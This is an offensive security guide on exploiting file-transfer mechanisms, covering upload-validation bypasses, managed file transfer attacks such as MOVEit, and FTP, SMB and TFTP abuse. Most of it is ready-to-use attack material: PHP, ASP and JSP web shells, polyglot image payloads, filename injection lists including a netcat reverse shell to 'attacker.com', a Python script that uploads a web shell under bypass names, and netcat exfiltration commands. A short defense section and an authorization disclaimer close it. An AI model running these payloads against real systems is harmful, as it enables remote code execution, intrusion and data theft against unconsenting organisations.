File Transfer Exploitation.md

Complete File Transfer Exploitation Methodologies

Table of Contents

1. Understanding File Transfer Attack Surfaces
2. Methodology 1: Web Application File Upload Exploitation
3. Methodology 2: Managed File Transfer (MFT) Software Exploitation
4. Methodology 3: Protocol-Based File Transfer Attacks
5. Testing Framework and Tool Configuration
6. Real-World Attack Chains (2020-2026)
7. Detection and Prevention Strategies

---

Understanding File Transfer Attack Surfaces

File transfer mechanisms represent a critical attack surface because they inherently involve:

• Data crossing trust boundaries (from user machines to servers)
• File system operations (write, read, execute permissions)
• Protocol parsers (FTP, SFTP, HTTP multipart, SMB)
• Storage backends (local disks, cloud storage, databases)

According to OWASP, an Unrestricted File Upload vulnerability occurs when a web application accepts user-uploaded files without proper validation or restriction . The impact ranges from Remote Code Execution (RCE) to full system compromise.

---

Methodology 1: Web Application File Upload Exploitation

Phase 1: Information Gathering

Objective: Understand the complete upload flow before attempting exploitation.

Step-by-Step Process:

1. Identify upload functionality locations - Look for profile pictures, document uploads, attachment features, import/export functions

2. Determine allowed file extensions - Test common extensions (.jpg, .png, .pdf, .doc) and observe responses

3. Check file size limitations - Upload progressively larger files to find limits

4. Identify upload directory structure - Try to determine where files are stored:

   • Direct URL access (e.g., /uploads/filename.jpg)
   • Token-based URLs (e.g., /download?file=abc123)
   • Internal-only paths (not directly accessible)

5. Identify web server type - Apache, IIS, Nginx (each has different parsing behaviors)

6. Determine backend technology - PHP, ASP.NET, JSP, Node.js

Critical Rule: You must know where the uploaded file ends up and whether it is accessible or executable. Without determining the final file path, even a successful upload cannot be exploited .

Phase 2: Client-Side Bypass Techniques

Scenario: The application uses JavaScript to validate files before upload.

Testing with Burp Suite:

1. Configure Burp Suite Proxy:

   • Set browser proxy to 127.0.0.1:8080
   • Ensure Burp Suite is running and intercept is ON

2. Capture the upload request:

   • Attempt to upload a legitimate file (e.g., test.jpg)
   • Observe the request in Proxy → HTTP History

3. Bypass JavaScript validation methods:

   Method A - Delete browser event:

   • Use browser Developer Tools (F12)
   • Locate the file upload input element
   • Remove the onchange or onsubmit event handlers

   Method B - Burp Suite modification :

   • Send the captured request to Repeater (right-click → Send to Repeater)
   • Modify the filename from test.jpg to test.php
   • Change Content-Type from image/jpeg to application/x-php
   • Click "Go" to send

   Method C - Direct form submission:

   • Create a local HTML form that submits to the target endpoint
   • Bypass the original page's JavaScript entirely

Phase 3: Server-Side Validation Bypass

3.1 Extension-Based Bypasses

Blacklist Bypass - Alternative Extensions:

If the server blocks .php, test these alternatives :

PHP: .php3, .php4, .php5, .php7, .pht, .phtml, .phps, .phar, .inc
ASP: .asp, .aspx, .cer, .asa, .asax
JSP: .jsp, .jspx, .jsw, .jsv, .jspf
ColdFusion: .cfm, .cfml, .cfc, .dbm
Executables: .exe, .sh, .bat, .cmd

Case Manipulation:

.pHp, .PhP, .PHP, .aSp, .AsP, .pHP5, .pHAR

Double Extensions:

file.jpg.php
file.php.jpg
file.php.blah123jpg

Null Byte Injection (legacy PHP < 5.3.4) :

file.php%00.jpg
file.php\x00.jpg

How it works: PHP treats %00 as a null terminator, ignoring everything after it.

Windows Special Characters:

file.php.        (trailing dot - Windows removes it)
file.php␣        (trailing space)
file.php.....    (multiple dots)

NTFS Alternate Data Streams (Windows only):

file.asp::$data
file.asax:.jpg

3.2 Content-Type / MIME Type Bypass

How to test with Burp Suite :

1. Capture the upload request
2. Locate the Content-Type header
3. Modify it to a whitelisted value:

Original: Content-Type: application/x-php
Modified: Content-Type: image/jpeg
Modified: Content-Type: image/png
Modified: Content-Type: image/gif
Modified: Content-Type: application/octet-stream

4. Also try removing the Content-Type header entirely
5. Test with multiple Content-Type headers

3.3 Magic Bytes / File Signature Bypass

Concept: Servers may check file signatures (magic bytes) at the beginning of files, not just extensions.

How to inject magic bytes :

// For GIF files - prepend to your payload
GIF89a;
<?php system($_GET['cmd']); ?>

// For PNG files
\x89\x50\x4E\x47\x0D\x0A\x1A\x0A
<?php phpinfo(); ?>

// For JPEG files
\xFF\xD8\xFF\xDB
<?php echo shell_exec($_GET['cmd']); ?>

Using ExifTool to hide payloads in image metadata:

exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
# Then rename to: image.php.jpg

Creating polyglot files: Files that are valid in multiple formats simultaneously (e.g., both a valid image AND a valid PHP script).

3.4 File Name Manipulation Attacks

Path Traversal :

Test if you can control the destination path:

../../../etc/passwd
..\..\..\windows\win.ini
....//....//....//etc/passwd
..%2F..%2F..%2Fetc%2Fpasswd
..%252F..%252F..%252Fetc%252Fpasswd

SQL Injection in Filename:

If filenames are stored in a database:

'sleep(10).jpg
sleep(10)-- -.jpg
file' OR '1'='1.jpg
file'; DROP TABLE users--.jpg

Command Injection in Filename:

If filenames are passed to system commands:

file;sleep 10;.jpg
file$(whoami).jpg
file`whoami`.jpg
file|whoami|.jpg
file||whoami||.jpg
file&&whoami&&.jpg
file;nc -e /bin/sh attacker.com 4444;.jpg

XSS in Filename :

If filenames are displayed back to users:

<script>alert(1)</script>.jpg
<svg onload=alert(1)>.jpg
"><script>alert(document.domain)</script>.jpg

Right-to-Left Override (RTLO) Attack:

Filename: file‮gpj.php appears as file.php.jpg in Windows Explorer

3.5 .htaccess Attack (Apache only)

Prerequisite: Server allows uploading .htaccess files

Create .htaccess with :

# Treat files with .jpg extension as PHP
AddType application/x-httpd-php .jpg

# Or match specific filenames
<FilesMatch "shell">
    SetHandler application/x-httpd-php
</FilesMatch>

Then upload: shell.jpg containing PHP code

3.6 Conditional Competition Attacks

Concept: Upload a malicious file and attempt to access/execute it before validation checks complete.

Process:

1. Upload a PHP shell continuously (automated script)
2. Simultaneously send requests to access the uploaded file
3. Race condition may allow execution before deletion

Phase 4: Web Shell Deployment

Basic PHP Web Shell :

<?php system($_GET['cmd']); ?>

// Minimal version
<?=`$_GET[x]`?>

// More stealthy
<?php echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>"; ?>

ASP Web Shell:

<% eval request("cmd") %>

JSP Web Shell:

<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

Using Burp Suite to test the shell:

• Upload the shell file
• Navigate to the uploaded file URL
• Test with: http://target.com/uploads/shell.php?cmd=whoami

---

Methodology 2: Managed File Transfer (MFT) Software Exploitation

Background: Why MFTs Are Prime Targets

Managed File Transfer platforms sit at the heart of supply chains. They handle:

• Payroll data between HR providers and banks
• Patient records across healthcare partners
• Sensitive files for government contracts

Real-World Case Study: MOVEit Transfer (CVE-2023-34362)

The Attack Timeline :

• May 27, 2023: First exploitation in the wild
• May 31, 2023: Patches released (but exploitation already active)
• Impact: >3,000 US organizations, >8,000 worldwide affected

Vulnerability Type: SQL Injection allowing unauthenticated attackers to interact directly with MOVEit Transfer's database

Complete Attack Chain:

Step 1 - SQL Injection Exploitation

The vulnerability existed in MOVEit Transfer versions:

• 2023.0.0 (fixed in 2023.0.1)
• 2022.1.x (fixed in 2022.1.5)
• 2022.0.x (fixed in 2022.0.4)
• 2021.1.x (fixed in 2021.1.4)
• 2021.0.x (fixed in 2021.0.6)

Attackers crafted malicious SQL queries that manipulated database operations beyond intended functionality.

Step 2 - Web Shell Deployment (LEMURLOOT)

Once SQL injection succeeded, attackers deployed a custom web shell named LEMURLOOT :

• Filename: human2.aspx (masquerading as legitimate human.aspx)
• Language: ASP.NET
• Location: MOVEit Transfer web application directory

LEMURLOOT Capabilities:

• Create/delete user accounts with administrator privileges (disguised as "Health Check Service")
• Exfiltrate data from SQL database and Azure configurations
• Compress responses in gzip to reduce detection

Step 3 - Authentication Bypass

Access required a valid HTTP request with a custom header:

X-siLock-Comment: [randomly generated password]

Once authenticated, attackers chained commands using:

X-siLock-Step1: [payload]
X-siLock-Step2: [payload]
X-siLock-Step3: [payload]

Step 4 - Persistence

Malicious accounts remained active in the MOVEit Transfer database. Even if the web server was rebuilt but the SQL database was left untouched, attackers could log back in .

Step 5 - Data Exfiltration

LEMURLOOT was used to:

1. Enumerate MOVEit Transfer's SQL databases
2. Extract Microsoft Azure system settings
3. Pull sensitive files directly from the MFT environment

Testing Methodology for MFT Vulnerabilities

Reconnaissance:

# Identify MFT software versions
nmap -p 443 --script http-title,http-headers target.com

# Check for exposed admin interfaces
curl -k https://target.com:8443/

Exploitation Testing (ethical/authorized only):

1. Identify MFT software and version - Look for banners, response headers, login pages
2. Check CVE databases - Search for known vulnerabilities for that version
3. Test for SQL injection - Use parameter fuzzing on authentication endpoints
4. Attempt web shell upload - Test file upload functionality if present

Other Notable MFT Attacks

Fortra GoAnywhere MFT (CVE-2023-0669) :

• Exploited by Cl0p in early 2023

• 130 organizations compromised in 10 days

Accellion File Transfer Appliance (2020-2021) :

• Zero-day web shell "DEWMODE"
• Affected law firms, universities, government agencies

Progress ShareFile (CVE-2026-2699 + CVE-2026-2701) :

• Authentication bypass chained with RCE
• ~30,000 exposed Storage Zone Controllers on public internet

---

Methodology 3: Protocol-Based File Transfer Attacks

FTP Server Exploitation

Common FTP Attack Vectors:

1. Anonymous Access - Test with anonymous:anonymous or ftp:ftp
2. Directory Traversal - Try ../../../../etc/passwd in FTP commands
3. Bounce Attacks - Use FTP server to scan internal networks

Testing with command line:

# Attempt anonymous login
ftp target.com
Username: anonymous
Password: anonymous

# After login, test traversal
cd ../../../../etc
get passwd

SMB/Network Share Attacks

Using Impacket for SMB enumeration :

# List SMB shares
smbclient -L //target.com -U ""

# Connect to share
smbclient //target.com/ShareName -U ""

# Download files
get filename.txt

# Upload malicious file
put shell.exe

TFTP Exploitation (Legacy Environments)

TFTP (UDP 69) is often allowed outbound but has no authentication.

Attack flow :

1. Set up TFTP server on attacker machine
2. Victim downloads using tftp -i attacker-ip GET malicious.exe
3. Execute the payload

---

Testing Framework and Tool Configuration

Burp Suite Setup for File Upload Testing

**Step 1: Proxy Configuration **

1. Open Burp Suite → Proxy → Options
2. Ensure proxy listener is active on 127.0.0.1:8080
3. Configure browser to use this proxy

Step 2: Capture and Analyze

1. Enable Intercept (Intercept is on)
2. Perform file upload in browser
3. Study the request structure in Proxy → Intercept

Step 3: Send to Repeater

Right-click the request → Send to Repeater (Ctrl+R)

Step 4: Modify and Test

In Repeater tab:

• Change filename parameter
• Modify Content-Type
• Add null bytes (%00)
• Test path traversal sequences

Step 5: Automate with Intruder

1. Send request to Intruder (Ctrl+I)
2. Set payload positions around filename or extension
3. Load payload list (extensions, bypass strings)
4. Start attack and analyze response sizes/codes

Python Script for Automated Bypass Testing

import requests

url = "http://target.com/upload.php"
bypass_payloads = [
    "shell.php",
    "shell.php3",
    "shell.phtml",
    "shell.php.jpg",
    "shell.php%00.jpg",
    "shell.asp",
    "shell.aspx",
    "shell.cer"
]

for payload in bypass_payloads:
    files = {'file': (payload, '<?php system($_GET["cmd"]); ?>', 'image/jpeg')}
    response = requests.post(url, files=files)
    print(f"Testing {payload}: {response.status_code}")

Netcat for Cross-Platform Transfer

Setup listener on attacker:

nc -lvnp 4444 > received_file.exe

Send from victim:

nc attacker-ip 4444 < file_to_send.exe

---

Real-World Attack Chains (2020-2026)

Attack Chain 1: Cl0p MOVEit Campaign (2023)

Phase	Action	Technical Detail
1	Initial Access	SQL injection (CVE-2023-34362)
2	Persistence	LEMURLOOT web shell deployment
3	Privilege Escalation	Create "Health Check Service" admin accounts
4	Discovery	Enumerate SQL database and Azure configs
5	Exfiltration	Extract files via HTTP with gzip compression
6	Extortion	Data leak site publication if ransom unpaid

Key Lesson: Attackers didn't encrypt data - they focused purely on exfiltration, knowing exposure was as damaging as downtime .

Attack Chain 2: QuickShare RCE (QuickShell)

Discovery: 10 vulnerabilities found in Google's Quick Share utility

Critical vulnerability (CVE-2024-38272): Auth bypass allowing file transfer without user approval

Fix bypass technique:

1. Send two files in the same session
2. Use same payload ID for both files
3. Quick Share deletes only one file, leaving the other

Impact: Attackers could write arbitrary files to victim's Downloads folder without any interaction

Attack Chain 3: Wing FTP Server Chain (CVE-2025-47813 + CVE-2025-47812)

Step 1 - Information Disclosure (CVE-2025-47813) :

• Send abnormally long UID cookie value to /loginok.html
• Server error exposes full local installation path
• CVSS 4.3 (Medium) but valuable for reconnaissance

Step 2 - Remote Code Execution (CVE-2025-47812):

• Chain with RCE vulnerability (CVSS 10.0)
• Download and execute malicious Lua scripts
• Install remote management tools

Exposure: ~30,000 Wing FTP services accessible on public internet

---

Detection and Prevention Strategies

For Penetration Testers (What to Check)

Upload functionality checklist :

• Can you upload files with alternative extensions?
• Does MIME type validation exist server-side?
• Are magic bytes checked?
• Is the upload directory accessible?
• Can you perform path traversal via filename?
• Are uploaded files executed as scripts?

Log analysis (for defenders):

• Monitor for unusual file extensions in uploads
• Alert on multiple failed upload attempts with different extensions
• Watch for null bytes (%00) in request parameters
• Detect rapid file creation followed by access attempts

For Defenders

Secure file upload implementation:

1. Whitelist allowed extensions (never blacklist)
2. Validate both MIME type AND magic bytes
3. Store files outside webroot with random names
4. Disable script execution in upload directories
5. Implement Content Security Policy (CSP)
6. Use virus scanning on uploads
7. Log all upload attempts with full metadata

MFT-specific defenses :

• Keep MFT software updated (these are critical patches)
• Restrict admin interface exposure to internet
• Monitor for suspicious account creations
• Audit "Health Check" or service accounts
• Implement network segmentation for MFT servers

---

Tools Summary

Tool	Purpose	Typical Use
Burp Suite	Web upload testing	Capturing/modifying upload requests
Nmap	Service identification	Finding FTP/MFT services
Netcat	File transfer	Cross-platform file movement
Impacket	SMB/FTP attacks	Network protocol exploitation
ExifTool	Payload injection	Hiding code in image metadata
Updog	HTTP server	Serving payloads to victims

---

Legal and Ethical Note

All techniques described are for authorized penetration testing and security research only. Exploiting file transfer vulnerabilities without explicit permission is illegal. The real-world examples (MOVEit, QuickShare, Wing FTP) are documented to help defenders understand attack patterns, not for unauthorized use.

---

References

• OWASP Unrestricted File Upload vulnerability definition
• CISA KEV catalog entries for MOVEit (CVE-2023-34362) and Wing FTP (CVE-2025-47813)
• SentinelOne analysis of MOVEit exploitation
• watchTowr research on Progress ShareFile vulnerabilities